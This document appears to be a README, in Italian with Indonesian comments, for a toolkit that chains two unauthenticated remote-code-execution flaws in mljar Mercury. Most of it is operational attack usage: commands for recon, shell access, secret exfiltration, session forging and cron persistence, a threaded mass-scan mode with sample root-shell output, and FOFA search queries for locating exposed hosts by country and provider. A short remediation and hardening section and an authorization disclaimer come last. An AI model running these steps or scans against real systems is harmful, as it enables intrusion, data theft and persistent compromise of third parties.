Mercury combo RCE non autenticato: CVE-2026-111058 (kernel) + CVE-2026-111057 (terminali). Di 0xNuts (@ExDev994). Solo test autorizzati.
Toolkit combinato per RCE non autenticato su Mercury (kernel + terminali).
Toolkit che combina due RCE non autenticati su mljar/mercury:
| CVE | Advisory | Vettore |
|---|---|---|
| CVE-2026-111058 | GHSA-rv4m-xm3f-3ccq | /api/kernels + execute_request |
| CVE-2026-111057 | GHSA-f8c7-rwf9-fmgm | bypass della blocklist di /api/terminals |
Autore: 0xNuts (ExDev994)
Solo per test autorizzati (lab locale / target con autorizzazione scritta). L'uso improprio su sistemi senza autorizzazione è illegale.
# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
python exploit.py --lab
Attendere che Docker completi la build, poi:
| URL | CVE attive |
|---|---|
| http://localhost:8883 | CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3) |
| http://localhost:8885 | solo CVE-2026-111058 (Mercury 3.2.5) |
# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon
# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce
# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals
Modifica targets.txt (un URL per riga), poi:
python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10
Auto port (solo modalità mass): se una riga è senza porta (ad es. example.com), il tool prova in sequenza:
http://example.com → 80, oppure https:// → 443)Si ferma al primo URL vulnerabile. Le righe che hanno già una porta (http://host:8883) non vengono espanse.
Esempio targets.txt:
# tanpa port → auto-fallback
example.com
mercury.internal
# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888
Terminal (verbose): ogni porta tentata + stato finale per ogni riga di destinazione:
example.com [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com [not vuln]
evil.com:8888 [trying...]
evil.com:8888 [vuln] [uid=0(root) gid=0(root) groups=0(root)]
File results.txt — solo quelli vulnerabili (append):
http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]
python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron
Urutan: recon → RCE → exfil secret → coba forge session → persistence.
| Flag | Fungsi |
|---|---|
-t / --target | URL Mercury (http://host:port) |
-m / --mode | recon, rce, exfil, full, persist, mass |
--sink | auto, kernels, terminals |
-tf | File daftar target (mode mass) |
-rf | File hasil vuln (mode mass) |
-th | Jumlah thread mass scan |
--lab | docker compose up di folder lab/ |
POST /api/terminals dan POST /api/kernels untuk fingerprint versi.kernels (stealth), fallback terminals (shell interaktif).idle_timeout.py, opsional cron (lab).PoC deterministic menulis marker /tmp/PWNED_MERCURY_RCE (lihat poc/payloads.py).
mercury-combo/
├── exploit.py
├── mercury_combo/ # modul inti
├── lab/ # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/ # payload marker
FOFA aiuta solo a trovare candidati all'esposizione — non prove di vulnerabilità. Valida sempre manualmente e rispetta l'ambito dell'autorizzazione.
Inizia in modo ristretto (branding):
title="Mercury"
body="runmercury" || body="mljar-mercury"
Perketat (Jupyter + Mercury):
(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"
Ambito geografico / organizzativo (esempio):
title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"
Dopo aver ottenuto l'host, verifica con questo toolkit (-m recon o -m mass in lab/autorizzati), non eseguire scansioni massive senza autorizzazione.
| Problema | CVE / advisory | Correzione |
|---|---|---|
Virgola mancante in BLOCKED_PATTERNS → /api/terminals passa | GHSA-f8c7-rwf9-fmgm | Aggiorna a ≥ 3.2.4 (commit di patch in v3.2.4). Verifica che /api/terminals sia effettivamente bloccato. |
/api/kernels può ancora eseguire execute_request senza autenticazione | GHSA-rv4m-xm3f-3ccq | La blocklist non è sufficiente — è obbligatoria l'autenticazione (token/password Jupyter) per impostazione predefinita; non distribuire token='' su internet. Monitora le release di Mercury > 3.2.5 per la patch ufficiale. |
Checklist di hardening:
8888 (o la porta di Mercury) direttamente su Internet; mettila dietro una VPN o un reverse proxy con autenticazione (OAuth, mTLS, allowlist di IP).POST /api/kernels + POST /api/terminals da IP anonimi; picchi di WebSocket verso /api/kernels/*/channels e /terminals/websocket/*.Verifica dopo la patch:
# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'